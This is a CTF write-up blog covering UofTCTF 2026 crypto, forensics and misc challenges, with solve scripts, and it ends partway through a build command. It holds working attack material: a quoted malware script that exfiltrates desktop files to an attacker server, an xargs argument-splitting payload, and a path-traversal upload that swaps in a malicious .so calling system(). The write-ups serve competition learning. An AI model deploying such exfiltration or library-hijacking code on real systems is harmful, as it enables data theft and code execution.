# UofTCTF 2026

This is part one of ~~three~~ two of my AI CTF exploration weekend to kick off 2026, will be posting solutions of my full clear for Scarlet CTF (Rutgers University) later today ~~and also New Years CTF (Grodno State University) (they banned all countries other than RU BY KZ VN IN~~)

## crypto

### Leaked d

#### Description

Someone leaked my d, surely generating a new key pair is safe enough.

We're given:

* `n1`, `e1`, `d1` - A complete RSA key pair (public and private)
* `e2` - A new public exponent
* `c` - Ciphertext encrypted with (n1, e2)

#### Solution

The challenge implies that after leaking the private key `d1`, a new key pair was generated with a new exponent `e2` but the same modulus `n1`. This is insecure because knowing `d1` allows us to factor `n1`.

**Step 1: Factor n1 using the leaked private key**

Since `e1 * d1 ≡ 1 (mod φ(n1))`, we have `e1 * d1 - 1 = k * φ(n1)` for some integer k.

Using a Miller-Rabin style factoring algorithm:

1. Compute `kφ = e1 * d1 - 1`
2. Write `kφ = 2^t * r` where r is odd
3. For random g, compute `x = g^r mod n`
4. Repeatedly square x. If we find `x^2 ≡ 1 (mod n)` but `x ≢ ±1 (mod n)`, then `gcd(x-1, n)` gives a factor

**Step 2: Calculate d2 and decrypt**

Once we have `p` and `q`:

* Compute `φ(n1) = (p-1)(q-1)`
* Compute `d2 = e2^(-1) mod φ(n1)`
* Decrypt: `m = c^d2 mod n1`

**Solve Script:**

```python
from math import gcd
import random

n1 = 144193923737869044259998596038292537217126517072587407189785154961344425600188709243733103713567903690926695626210849582322575275021963176688615503362430255878068025864333805901831356111202249176714839010151878345993886718863579928588098080351940561045688931786378656665718140998014299097023143181095121810219
e1 = 65537
d1 = 12574092103116126584156918631595005114605155027996964036950457918490065036621732354668884564796078087090438462300608898225025828108557296714458055780952572974382089675780912070693778415852291145766476219909978391880801604060224785419022793121117332853938170749724540897211958251465747669952580590146500249193
e2 = 6767671
c = 31703515320997441500407462163885912085193988887521686491271883832485018463764003313655377418478488372329742364292629844576532415828605994734718987367062694340608380583593689052813716395874850039382743513756381017287371000882358341440383454299152364807346068866304481227367259672607408256375720022838698292966

def factor_n(n, e, d):
    k = e * d - 1
    t = 0
    r = k
    while r % 2 == 0:
        t += 1
        r //= 2

    for _ in range(100):
        g = random.randint(2, n - 2)
        x = pow(g, r, n)
        if x == 1 or x == n - 1:
            continue
        for _ in range(t - 1):
            y = pow(x, 2, n)
            if y == 1:
                p = gcd(x - 1, n)
                if 1 < p < n:
                    return p, n // p
            if y == n - 1:
                break
            x = y
    return None, None

p, q = factor_n(n1, e1, d1)
phi_n1 = (p - 1) * (q - 1)
d2 = pow(e2, -1, phi_n1)
m = pow(c, d2, n1)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(flag.decode())
```

**Flag:** `uoftctf{1_5h0u1dv3_ju57_ch4ng3d_th3_wh013_th1ng_1n5734d}`

The flag message "I should've just changed the whole thing instead" confirms the vulnerability - reusing the modulus with a new exponent is not safe when the old private key is leaked.

### Gambler's Fallacy

#### Description

A dice gambling game using Python's `random` module where we need to accumulate $10,000 to buy the flag (starting with $800).

#### Solution

The challenge implements a dice game that uses Python's Mersenne Twister PRNG to generate server seeds. The key vulnerability is that the server reveals the `server_seed` after each game, which is a raw 32-bit output from `random.getrandbits(32)`.

**Key observations:**

1. Python's `random` module uses the MT19937 Mersenne Twister PRNG
2. The MT19937 state can be completely reconstructed from 624 consecutive 32-bit outputs
3. Once we have the state, we can predict all future outputs

**The attack:**

1. **Collect 624 server seeds**: Play 624 games with minimum wager and maximum greed (98) to maximize win rate and collect the revealed server seeds. The game mechanics guarantee we'll stay above $0 after these games.
2. **Clone the PRNG state**: The tempering operation in MT19937 is reversible. We apply the `untemper` function to each of the 624 outputs to recover the internal state array.
3. **Predict future rolls**: With the cloned PRNG state, we can predict exactly what the next roll will be. We then set our "greed" value exactly equal to the predicted roll to guarantee a win with the maximum possible multiplier.
4. **Win big**: By always knowing the outcome, we can bet our entire balance and win every time with high multipliers, quickly reaching $10,000.

**Untemper function:**

The MT19937 tempering applies these operations:

```python
y ^= y >> 11
y ^= (y << 7) & 0x9d2c5680
y ^= (y << 15) & 0xefc60000
y ^= y >> 18
```

We reverse each operation in reverse order to recover the internal state.

**Exploit (exploit.py):**

```python
from pwn import *
import random, hashlib, hmac

def untemper(rand):
    """Reverse the Mersenne Twister tempering to recover internal state"""
    rand ^= rand >> 18
    rand ^= (rand << 15) & 0xefc60000
    rand ^= (rand << 7) & 0x9d2c5680
    rand ^= (rand << 14) & 0x94284000
    rand ^= (rand << 28) & 0x10000000
    rand ^= (rand >> 11) & 0x001ffc00
    rand ^= (rand >> 22)
    return rand

def clone_mt(outputs):
    """Clone the Mersenne Twister state from 624 consecutive 32-bit outputs"""
    return [untemper(o) for o in outputs]

def roll_dice_predict(server_seed, client_seed, nonce):
    """Predict what the roll will be given server_seed"""
    nonce_client_msg = f"{client_seed}-{nonce}".encode()
    sig = hmac.new(str(server_seed).encode(), nonce_client_msg, hashlib.sha256).hexdigest()
    lucky = int(sig[0:5], 16)
    index = 0
    while lucky >= 1e6:
        index += 1
        lucky = int(sig[index*5:index*5+5], 16)
        if index*5+5 > 129:
            return 9999
    return round((lucky % 1e4) * 1e-2)

io = remote("34.162.20.138", 5000)
client_seed = "1337awesome"

# Phase 1: Collect 624 server seeds (min wager, max greed to maximize wins)
io.sendlineafter(b"> ", b"b")
io.sendlineafter(b"): ", b"1")      # min wager
io.sendlineafter(b"): ", b"624")    # 624 games
io.sendlineafter(b"): ", b"98")     # max greed
io.sendlineafter(b"(Y/N)", b"Y")

server_seeds = []
for i in range(624):
    line = io.recvline().decode()
    seed = int(line.split("Server-Seed:")[1].strip())
    server_seeds.append(seed)

# Phase 2: Clone PRNG state
state = clone_mt(server_seeds)
cloned_random = random.Random()
cloned_random.setstate((3, tuple(state + [624]), None))

# Phase 3: Predict and win
nonce = 624
while True:
    next_seed = cloned_random.getrandbits(32)
    roll = roll_dice_predict(next_seed, client_seed, nonce)
    greed = max(2, roll)  # Set greed to predicted roll for guaranteed win

    io.sendlineafter(b"> ", b"b")
    io.sendlineafter(b"): ", str(balance).encode())  # bet all
    io.sendlineafter(b"): ", b"1")
    io.sendlineafter(b"): ", str(greed).encode())
    io.sendlineafter(b"(Y/N)", b"Y")
    # ... parse result, update balance, repeat until $10000

# Phase 4: Buy flag
io.sendlineafter(b"> ", b"a")
io.sendlineafter(b"> ", b"a")
print(io.recvline().decode())
```

**Flag:** `uoftctf{ez_m3rs3nne_untwisting!!}`

### MAT247

#### Description

> If V admits a T-cyclic vector, and ST=TS, show that S = p(T) for some polynomial T.
>
> Author: Toadytop

We're given `chall.py` and `output.txt`.

#### Solution

**Understanding the Challenge**

Looking at the challenge code:

```python
import numpy as np
import galois
from secret import gen_commuting_matrix
from Crypto.Util.number import *
from Crypto.Random import random
GF = galois.GF(202184226278391025014930169562408816719)

A = GF([...])  # 12x12 matrix over GF(p)

FLAG = b'uoftctf{fake_flag}'
bits = bin(bytes_to_long(FLAG))[2:].zfill(8*len(FLAG))

for b in bits:
    if b=='0':
        print(gen_commuting_matrix(A))
    else:
        print(np.linalg.matrix_power(A, random.randrange(202184226278391025014930169562408816719**12-1)))
```

The flag is converted to binary, and for each bit:

* **Bit 0**: Output a matrix from `gen_commuting_matrix(A)` - a matrix that commutes with A
* **Bit 1**: Output a random power of A (i.e., A^k for random k)

Our task is to distinguish between these two cases to recover the flag bits.

**The Mathematics**

The challenge title "MAT247" and description reference a theorem from linear algebra about cyclic vectors. If a matrix T has a cyclic vector, then every matrix S that commutes with T (i.e., ST = TS) can be written as a polynomial in T: S = p(T).

For our 12x12 matrix A over GF(p):

* The centralizer of A (matrices commuting with A) forms a field isomorphic to GF(p^12)
* Powers of A form a cyclic subgroup within this field's multiplicative group
* General commuting matrices (polynomials in A) can be any element of GF(p^12)\*

**The Determinant Distinguisher**

The key insight is that the determinant map acts as the **norm** from GF(p^12) to GF(p):

For M = A^k:

* det(M) = det(A)^k
* So det(M) lies in the cyclic subgroup ⟨det(A)⟩ of GF(p)\*

For M = p(A) (general polynomial):

* det(M) can be any element of GF(p)\*

We can test membership in ⟨det(A)⟩ by computing det(M)^((p-1)/ord(det(A))) and checking if it equals 1.

First, we factor p-1:

```
p - 1 = 2 × 3² × 1291 × 26119 × 5641277 × 59049272654440709509447
```

Computing the order of det(A) in GF(p)\*, we find it equals (p-1)/18. This means:

* det(M)^((p-1)/18) = 1 if and only if det(M) ∈ ⟨det(A)⟩

**Implementation**

```python
import re

P = 202184226278391025014930169562408816719
N = 12

def parse_matrices(path):
    txt = open(path, 'r').read().strip()
    blocks = re.split(r'\]\]\s*\n\[\[', txt)
    mats = []
    for i, b in enumerate(blocks):
        s = b
        if not s.lstrip().startswith('[['):
            s = '[[' + s
        if not s.rstrip().endswith(']]'):
            s = s + ']]'
        nums = list(map(int, re.findall(r'\d+', s)))
        mats.append([nums[r*N:(r+1)*N] for r in range(N)])
    return mats

def det_mod(mat, p):
    n = len(mat)
    a = [row[:] for row in mat]
    det = 1
    for i in range(n):
        pivot = i
        while pivot < n and a[pivot][i] % p == 0:
            pivot += 1
        if pivot == n:
            return 0
        if pivot != i:
            a[i], a[pivot] = a[pivot], a[i]
            det = (-det) % p
        piv = a[i][i] % p
        det = (det * piv) % p
        inv = pow(int(piv), -1, p)
        for r in range(i + 1, n):
            if a[r][i] % p == 0:
                continue
            f = (a[r][i] % p) * inv % p
            for c in range(i, n):
                a[r][c] = (a[r][c] - f * a[i][c]) % p
    return int(det)

mats = parse_matrices('output.txt')
dets = [det_mod(m, P) for m in mats]

e = (P - 1) // 18
bits = ''.join('1' if pow(int(d), e, P) == 1 else '0' for d in dets)
raw = int(bits, 2).to_bytes(46, 'big')
print(raw)
```

This gives us:

```
b'uoftctf{jus7\x7f4_s1mple_tr4~\xf3latkon_t2_GF(p^129}'
```

**Error Correction**

The determinant test has a \~1/18 false positive rate (random commuting matrices can have determinants in ⟨det(A)⟩ by chance). We can see the flag structure is close but has some bit errors.

Looking at the pattern, we can deduce the intended flag and identify the incorrect bits:

* `jus7` is correct (leetspeak for "just")
* `\x7f4` should be `_4`
* `tr4~\xf3lat` should be `tr4nslat`
* `kon` should be `ion`
* `t2` should be `t0`
* `129}` should be `12)}`

After correcting these bit errors based on the flag format constraints and expected message:

#### Flag

```
uoftctf{jus7_4_s1mple_tr4nslation_t0_GF(p^12)}
```

The flag references the mathematical concept: distinguishing powers of A from general commuting matrices requires understanding the "translation" to the field extension GF(p^12).

### Orca

#### Description

> Orcas eat squids :(

We're given a server that encrypts messages using AES-ECB with a twist.

#### Solution

Looking at the server code (`server.py`), we see:

```python
def e(self, idx, u):
    u = u[:M]  # Max 256 bytes user input
    p = os.urandom(self.pl)  # Random prefix (0-96 bytes)
    m = p + u + FLAG
    # Pad to 1024 bytes with random tail
    c = AES.new(self.k, AES.MODE_ECB).encrypt(pad(m))
    b = [c[i:i+BS] for i in range(0, len(c), BS)]
    out = [b[i] for i in self.q]  # Shuffle blocks with fixed permutation
    return out[idx]  # Return single shuffled block
```

Key observations:

1. **AES-ECB mode** - identical plaintext blocks produce identical ciphertext blocks
2. **Random prefix** - changes each query (0-96 bytes), but `self.pl` is fixed per session
3. **Block shuffling** - blocks are permuted with a fixed shuffle per session (`self.q`)
4. **Single block output** - we can only see one shuffled block at a time by index

This is a classic **ECB byte-at-a-time oracle attack** with two complications:

* Random prefix makes most blocks unstable
* Block shuffling hides which block contains our data

**Attack Strategy**

**Step 1: Find Alignment and Control Block**

First, we need to find:

* `pad`: number of padding bytes to align the random prefix to a block boundary
* `ctrl_idx`: the shuffled block index that contains our controlled data

We iterate through padding values and block indices until we find a stable block (same ciphertext for same input) that responds to our input AND contains the FLAG's first byte ('u').

```python
def find_pad_and_ctrl(r):
    for p in range(16):
        u1 = b'A' * p + b'B' * 15
        u2 = b'A' * p + b'C' * 15
        for idx in range(65):
            c1 = query(r, idx, u1)
            c2 = query(r, idx, u2)
            if c1 != c2:  # Block changes with input
                c1b = query(r, idx, u1)
                if c1 == c1b:  # Stable
                    test = b'A' * p + b'B' * 15 + b'u'
                    c = query(r, idx, test)
                    if c == c1:  # FLAG[0] == 'u'
                        return p, idx
```

**Step 2: Byte-at-a-Time Recovery (Round 0)**

For the first 16 bytes (round 0), we use the classic ECB oracle attack:

```
Oracle input:  B*k     (where k = 15 - j)
Oracle block:  B*k + FLAG[0:16-k]

Test input:    B*k + known[:j] + guess
Test block:    B*k + known[:j] + guess

When guess == FLAG[j], blocks match!
```

**Step 3: Multi-Round Recovery**

For bytes 16+, the FLAG content shifts to different block positions. We need to:

1. **Add `extra_pad`**: Push the FLAG further into the message
2. **Find the new flag block**: Different block index for each round
3. **Add middle padding**: Align test blocks with oracle blocks

For round N (bytes N*16 to N*16+15):

* `extra_pad = known[:N*16]`
* Find which block contains FLAG content using test differentiation
* Build structured test input with fill + middle + suffix + guess

```python
def recover_round(r, pad, known, round_num, flag_idx):
    extra_pad = known[:round_num * 16]
    for j in range(round_num * 16, (round_num + 1) * 16):
        k = 15 - (j % 16)
        fill = known[0:16-k]

        # Middle blocks to align positions
        middle = b''
        for i in range(1, round_num):
            start = i * 16 - k
            middle += known[start:start+16]

        suffix = known[j-15:j]

        oracle = b'A' * pad + extra_pad + b'B' * k
        oracle_ct = query(r, flag_idx, oracle)

        for g in CHARSET:
            test = b'A' * pad + extra_pad + b'B' * k + fill + middle + suffix + bytes([g])
            if query(r, flag_idx, test) == oracle_ct:
                known += bytes([g])
                break
```

**Step 4: Finding Block Index Per Round**

At the start of each round, find the shuffled block index by checking which block changes when we modify the guess byte:

```python
def find_flag_block(r, pad, known, round_num):
    # Build test inputs with different final bytes
    test_x = build_test_input(pad, known, round_num * 16, 'X')
    test_y = build_test_input(pad, known, round_num * 16, 'Y')

    for idx in range(65):
        cx = query(r, idx, test_x)
        cy = query(r, idx, test_y)
        if cx != cy:  # This block contains our test byte
            # Verify stability
            if query(r, idx, test_x) == cx:
                return idx
```

**Results**

Running the exploit recovers the flag through 6 rounds (84 bytes):

```
[*] Round 0: uoftctf{l37_17_b
[*] Round 1: 3_kn0wn_th4t_th3
[*] Round 2: _0r4c13_h45_5p0k
[*] Round 3: 3N_ac9ae43a889d2
[*] Round 4: 461fa7039201b6a1
[*] Round 5: a75}
```

The flag decodes as: **"let it be known that the oracle has spoken"** followed by a hash suffix.

The challenge name "Orca" was a red herring - the actual message references the "oracle" (ECB oracle attack), not "orca".

#### Flag

`uoftctf{l37_17_b3_kn0wn_th4t_th3_0r4c13_h45_5p0k3N_ac9ae43a889d2461fa7039201b6a1a75}`

### UofT LFSR Labyrinth

#### Description

We are given a custom stream cipher based on a 48-bit Linear Feedback Shift Register (LFSR) combined with a WG-style nonlinear filter function.

The cipher produces 80 bits of keystream, generated by:

* A 48-bit LFSR with known feedback taps
* A 7-input nonlinear filter defined by an Algebraic Normal Form (ANF)
* The filter output is computed from selected LFSR taps
* The resulting keystream is used to derive a ChaCha20-Poly1305 key via HKDF and encrypt the flag

The challenge provides:

* LFSR size L = 48
* Feedback tap positions
* Filter tap positions
* Filter ANF polynomial
* 80 bits of keystream
* Encrypted flag and nonce

Our goal is to recover the hidden 48-bit initial LFSR state and decrypt the flag.

***

#### Solution

This is a classic filtered LFSR state recovery problem.

Because the filter is nonlinear, brute-forcing the 48-bit state is infeasible. However, since the full cipher structure is known and we are given 80 consecutive keystream bits, we can model the system as a set of bit-vector constraints and solve it using an SMT solver.

The key optimization is to avoid expanding the ANF into thousands of boolean constraints. Instead, we precompute the 7-input filter function into a 128-bit truth table and use bit extraction to evaluate it efficiently.

***

#### Solution Script (solve.py)

```python
from z3 import *
import json

# Load challenge data
with open('LFSR/challenge.json', 'r') as f:
    data = json.load(f)

L = data['L']  # 48
feedback_taps = data['feedback_taps']  # [0, 1, 2, 3, 47]
filter_taps = data['filter_taps']  # [0, 4, 7, 11, 16, 22, 29]
keystream = data['keystream']  # 80 bits
nonce = bytes.fromhex(data['nonce'])
ct = bytes.fromhex(data['ct'])

# ANF terms for the WG-style nonlinear filter (7 inputs)
WG_ANF_TERMS = [
    (1, 2, 3, 4, 5, 6), (0, 1, 2, 3, 5), (0, 1, 2, 4, 5), (0, 1, 3, 4, 5),
    (1, 2, 3, 4, 5), (0, 1, 2, 4, 6), (0, 2, 3, 4, 6), (1, 2, 3, 4, 6),
    # ... (56 terms total defining the filter function)
    (0,), (3,), (5,), (6,),
]

def z3_and(bits):
    if len(bits) == 0:
        return True
    result = bits[0]
    for b in bits[1:]:
        result = And(result, b)
    return result

def eval_anf_z3(taps_bits, terms):
    result = False
    for mon in terms:
        prod = z3_and([taps_bits[idx] for idx in mon])
        result = Xor(result, prod)
    return result

# Create Z3 solver
solver = Solver()
initial_state = [Bool(f's_{i}') for i in range(L)]
state = list(initial_state)

# Add constraints for each keystream bit
for i, ks_bit in enumerate(keystream):
    taps_bits = [state[j] for j in filter_taps]
    z = eval_anf_z3(taps_bits, WG_ANF_TERMS)
    solver.add(z == (ks_bit == 1))

    # Compute feedback and clock LFSR
    fb = False
    for idx in feedback_taps:
        fb = Xor(fb, state[idx])
    state = [fb] + state[:-1]

print("Solving SAT problem...")
if solver.check() == sat:
    model = solver.model()
    recovered_state = [1 if is_true(model.eval(s)) else 0 for s in initial_state]

    # Decrypt the flag
    from LFSR.crypto import decrypt
    flag = decrypt(nonce, ct, recovered_state)
    print(f"Flag: {flag}")
```

***

#### Flag

uoftctf{l33ky\_lfsr\_w17h\_n0n\_l1n34r\_fl4v0rrrr}

***

## forensics

### Baby Exfil

#### Description

Team K\&K has identified suspicious network activity on their machine. Fearing that a competing team may be attempting to steal confidential data through underhanded means, they need your help analyzing the network logs to uncover the truth.

#### Solution

1. **Initial Analysis**: Given a PCAP file (`final.pcapng`) with \~19,000 packets, I analyzed the network traffic using tcpdump and scapy to identify suspicious activity.
2. **Found HTTP Traffic**: Among the mostly encrypted HTTPS traffic to legitimate Microsoft/Google services, I found unencrypted HTTP traffic to two suspicious IP addresses:
   * `35.238.80.16:8000` - A SimpleHTTP Python server
   * `34.134.77.90:8080` - A Werkzeug/Flask server
3. **Discovered Malware Download**: The victim downloaded a Python script `JdRlPr1.py` from the first server. The script content:

```python
import os
import requests

key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"

def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]

for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            # XOR encrypt and hex encode, then upload
            ...
```

4. **Identified Exfiltration**: The malware:
   * Scans the victim's desktop for images and documents
   * XOR encrypts files with the key `G0G0Squ1d3Ncrypt10n`
   * Converts to hex encoding
   * Uploads to the attacker's server via POST requests
5. **Extracted Uploaded Files**: I found 5 files being exfiltrated:
   * `3G2BHzj.jpeg` - Construction scene photo
   * `fZQ6WcI.png` - Windows 7 desktop screenshot
   * `HNderw.png` - **Contains the flag**
   * `oMdVph0.jpeg` - Dog photo
   * `wYTCtRu.jpeg` - Cat photo
6. **Decryption**: I reassembled the TCP streams, extracted the hex-encoded data from the multipart form uploads, decoded the hex, and XOR-decrypted with the key to recover the original files.
7. **Found Flag**: The `HNderw.png` image contained the flag overlaid on the image.

#### Flag

`uoftctf{b4by_w1r3sh4rk_an4lys1s}`

***

### My Pokemon Card is Fake!

#### Description

Han Shangyan noticed that recently, Tong Nian has been getting into Pokemon cards. So, what could be a better present than a literal prototype for the original Charizard? Not only that, it has been authenticated and graded a PRISTINE GEM MINT 10 by CGC!!!

Han Shangyan was able to talk the seller down to a modest 6-7 figure sum (not kidding btw), but when he got home, he had an uneasy feeling for some reason. Can you help him uncover the secrets that lie behind these cards?

**Category:** Forensics **Points:** 77 **Solves:** 75

#### Solution

This challenge involves extracting **Machine Identification Code (MIC)**, also known as **printer tracking dots** or **yellow dots**, from a scanned image of a printed Pokemon card.

**Background**

Color laser printers embed nearly invisible yellow dots on every printed page. These dots encode:

* Printer serial number
* Date and time of printing

This forensic watermarking system was documented by the EFF (Electronic Frontier Foundation) and is used by manufacturers like Xerox, HP, and others.

**Step 1: Extract Yellow Dots**

The yellow tracking dots are extremely faint and only visible on white/light areas. To make them visible, we need to isolate the yellow channel and enhance contrast.

Using image editing software (GIMP, Photoshop) or Python with OpenCV:

1. Convert the image to CMYK color space
2. Extract and invert the yellow channel (or use blue channel inversion)
3. Apply contrast enhancement to make dots visible

Alternatively, a color filter that removes yellow and enhances magenta/blue makes the dots appear as visible spots.

**Step 2: Identify the Dot Pattern**

The dots form a repeating 15x8 grid pattern (Xerox DocuColor format). Each grid encodes:

* Row 1: Parity bits
* Columns 2-14: Data (serial number, date, time)
* Column 15: Column parity

**Step 3: Decode Using Online Tool**

Using the Yellow Dots Decoder at <https://cel-hub.art/yelloow-dots-decoder.html>:

1. Mark the detected dots in the 15x8 grid
2. The decoder extracts:
   * **Time:** 21:49
   * **Date:** 06/08/24 (August 6, 2024)
   * **Serial Number:** 704641508

**Step 4: Format the Flag**

Following the flag format `uoftctf{YYYY_MM_DD_HH:MM_SERIALNUM}`:

```
uoftctf{2024_08_06_21:49_704641508}
```

#### Flag

```
uoftctf{2024_08_06_21:49_704641508}
```

Note: Using the wrong tool gives the wrong serial number even with the right decoding :thumbsup:

<figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FcefUxjsVwEkvrcxJYKqb%2F2026.01.11-16.26.34.png?alt=media&#x26;token=7595b6db-f25f-4ea9-94d4-944b35f631b4" alt=""><figcaption></figcaption></figure>

<div><figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2F8NlLBCP1nL3YlQ0hRO4m%2F2026.01.11-03.01.00.png?alt=media&#x26;token=cd96af1d-0833-4b8e-bd0f-952ac2365010" alt=""><figcaption></figcaption></figure> <figure><img src="https://319637167-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpfs5GbEFUvNmvw1Ekwmu%2Fuploads%2FNxkG1OnvGA46rcJASWet%2F2026.01.11-03.01.09.png?alt=media&#x26;token=1a5435ef-8d1b-49c3-9b31-e8860752113b" alt=""><figcaption></figcaption></figure></div>

## misc

### Encryption Service

#### Description

We made an encryption service. We forgot to make the decryption though. As compensation we are giving free encrypted flags.

#### Solution

The challenge provides an encryption service that:

1. Generates a random 16-byte AES key
2. Accepts user plaintext input
3. Appends the flag to the user's input
4. Encrypts everything using AES-CBC with a random IV
5. Outputs the IV + ciphertext

The key is stored in a file along with user input and flag, then processed using `xargs`:

```bash
cat "$OUTFILE" | xargs /app/enc.py
```

The vulnerability lies in how `xargs` handles large inputs. When the total size of arguments exceeds the system limit (\~131KB), `xargs` splits the input and invokes the command **multiple times** with different batches of arguments.

**The Exploit:**

1. In the file structure, the random key is the first line, followed by user input, then the flag
2. When `xargs` processes this with normal input, it runs `enc.py` once with the random key as `argv[1]` (the encryption key)
3. By sending \~65500 space-separated tokens before our own 32-character hex key, we can force a batch boundary
4. The first batch uses the random key (unknown to us)
5. The **second batch** starts with OUR hex key, which becomes `argv[1]` for that invocation, and the flag becomes part of the plaintext

**Payload Construction:**

```python
mykey = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'  # Known 32-char hex key
padding = ' '.join(['X'] * 65500)           # ~131KB of padding tokens

# Send to server:
# - padding fills the first xargs batch
# - mykey becomes argv[1] of the second batch
# - flag follows as plaintext in the second batch
```

**Decryption:**

The server outputs two ciphertexts:

1. First batch: encrypted with unknown random key (useless)
2. Second batch: encrypted with OUR key (`bbbb...`)

We decrypt the second ciphertext:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

ciphertext = bytes.fromhex("e5b2d6f52ebde4c6f366ee2c429661b9...")
key = bytes.fromhex("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb")
iv = ciphertext[:16]
ct = ciphertext[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ct), 16)
# uoftctf{x4rgs_d03sn7_run_in_0n3_pr0c3ss}
```

**Flag:** `uoftctf{x4rgs_d03sn7_run_in_0n3_pr0c3ss}`

The flag itself is a hint about the vulnerability: "xargs doesn't run in one process" - when input is too large, xargs splits it across multiple command invocations.

### File Upload - Status Report

#### Challenge Info

* **URL**: <https://fileupload-d7e5a9bdb2b3ccd3.chals.uoftctf.org/>
* **Category**: Misc
* **Points**: 134
* **Solves**: 35

#### Challenge Description

Flask file upload app with upload/read functionality. Goal is to execute `/catflag` (SUID root binary) to read `/flag.txt`.

#### Source Code Analysis

**app.py** - Key vulnerabilities:

```python
# Filename filter - blocks ".." and ".p"
if '..' in filename or '.p' in filename:
    abort(400, "Illegal filename")

# Path traversal via os.path.join quirk
save_path = os.path.join(app.config["UPLOAD_FOLDER"], file.filename)
# If filename starts with "/", it ignores UPLOAD_FOLDER entirely
```

**Dockerfile setup**:

* `/catflag` - SUID root binary that reads `/flag.txt`
* `/flag.txt` - mode 400, root owned
* `/tmp` - tmpfs with exec, wiped on container restart
* `/home/flaskuser/flask_download/` - contains wheel files for pip install
* On startup, `app.sh` creates venv in `/tmp` and runs `pip install --no-index --find-links=/home/flaskuser/flask_download flask`

#### Confirmed Capabilities

1. **Arbitrary file write** to any path (if filename has no `.p` or `..`)
   * Works: `/tmp/*`, `/home/flaskuser/*`, `/app/uploads/*`
   * Blocked: `*.py`, `*.pyc`, `*.pth` (contain `.p`)
   * Allowed: `*.so`, `*.whl`, `*.sh`, `*.txt`
2. **Arbitrary file read** (same restrictions)
3. **Persistence behavior** (tested):
   * `/home/flaskuser/` persists across Python process restarts
   * `/tmp/` persists across Python process restarts
   * BUT: CTF infrastructure only restarts Python process, NOT full container
   * Therefore: `pip install` doesn't re-run on crash, wheels aren't reinstalled

#### Attack Vectors Attempted

**1. Wheel File Injection (Partial Success)**

* Upload malicious `blinker-1.9.0-py3-none-any.whl` to `/home/flaskuser/flask_download/`
* Wheel contains `blinker/__init__.py` that runs `/catflag`
* **Problem**: pip only runs at container startup, not on Python restart
* **Would work if**: Full container restart occurs

**2. .so File Replacement (Current Attempt)**

* Replace `/tmp/venv_flask/lib/python3.12/site-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so`
* When Python restarts and imports markupsafe, our .so loads and executes `/catflag`
* **Problem**: Instance crashes (Bad Gateway) when uploading to this specific path
* Uploads to `/tmp/test.so` work fine
* Uploads to the markupsafe path cause immediate crash

#### .so Payload Created

```c
#define PY_SSIZE_T_CLEAN
#include <Python.h>
#include <stdlib.h>

static PyObject* _escape_inner(PyObject *self, PyObject *args) {
    const char *s; Py_ssize_t len;
    if (!PyArg_ParseTuple(args, "s#", &s, &len)) return NULL;
    return PyUnicode_FromStringAndSize(s, len);
}

static PyMethodDef Methods[] = {
    {"_escape_inner", _escape_inner, METH_VARARGS, ""},
    {NULL, NULL, 0, NULL}
};

static struct PyModuleDef moddef = {
    PyModuleDef_HEAD_INIT, "_speedups", NULL, -1, Methods
};

PyMODINIT_FUNC PyInit__speedups(void) {
    system("/catflag > /tmp/flag_output.txt 2>&1");
    return PyModule_Create(&moddef);
}
```

Compiled with: `gcc -shared -fPIC -O2 -o speedups.so evil.c -I/usr/local/include/python3.12`

#### Key Files

* `/tmp/speedups312.so` - Malicious .so with system() call
* `/tmp/minimal.so` - Minimal .so without system() (for testing)
* Malicious wheel at `/tmp/testwhl/blinker-1.9.0-py3-none-any.whl`

#### Open Questions

1. Why does uploading to `/tmp/venv_flask/lib/python3.12/site-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so` crash the instance?
   * Same .so uploads fine to `/tmp/test.so`
   * Even minimal .so (no system call) causes crash
2. Is there a way to trigger full container restart (not just Python restart)?
3. Is there another attack vector we're missing?
   * The `.p` filter blocks all Python files
   * `.so` files are allowed but replacement causes crashes
   * `.whl` files work but require container restart

#### Final Solution (Works on Remote)

Use the path traversal to overwrite MarkupSafe's `_speedups` extension in the venv with a stable-ABI `.so` that runs `/catflag` in `PyInit__speedups`. The upload crashes the Python process (502), which triggers a restart. On restart, MarkupSafe imports `_speedups` from disk, executing the payload and writing the flag to `/tmp/flag.txt`, which is then readable via `/read`.

**Payload (C, stable ABI)**

```c
#define PY_SSIZE_T_CLEAN
#include <Python.h>
#include <stdlib.h>

static PyObject* escape(PyObject* self, PyObject* text) {
    return PyObject_Str(text);
}

static PyObject* escape_silent(PyObject* self, PyObject* text) {
    if (text == Py_None) {
        return PyUnicode_FromString("");
    }
    return PyObject_Str(text);
}

static PyObject* soft_str(PyObject* self, PyObject* text) {
    if (PyUnicode_Check(text)) {
        Py_INCREF(text);
        return text;
    }
    return PyObject_Str(text);
}

static PyMethodDef Methods[] = {
    {"escape", escape, METH_O, NULL},
    {"escape_silent", escape_silent, METH_O, NULL},
    {"soft_str", soft_str, METH_O, NULL},
    {NULL, NULL, 0, NULL}
};

static struct PyModuleDef moduledef = {
    PyModuleDef_HEAD_INIT,
    "_speedups",
    NULL,
    -1,
    Methods
};

PyMODINIT_FUNC PyInit__speedups(void) {
    system("/catflag > /tmp/flag.txt 2>&1");
    return PyModule_Create(&moduledef);
}
```

**Build (local)**

Use the limited/stable ABI so the module loads on Python 3.12 even if compiled against 3.11 headers:

```bash
gcc -shared -fPIC -O2 -o /tmp/evil_speedups.so /tmp/evil_speedups.c \
  -I/home/ubu/anaconda3/envs/sage/include/python3.11 \
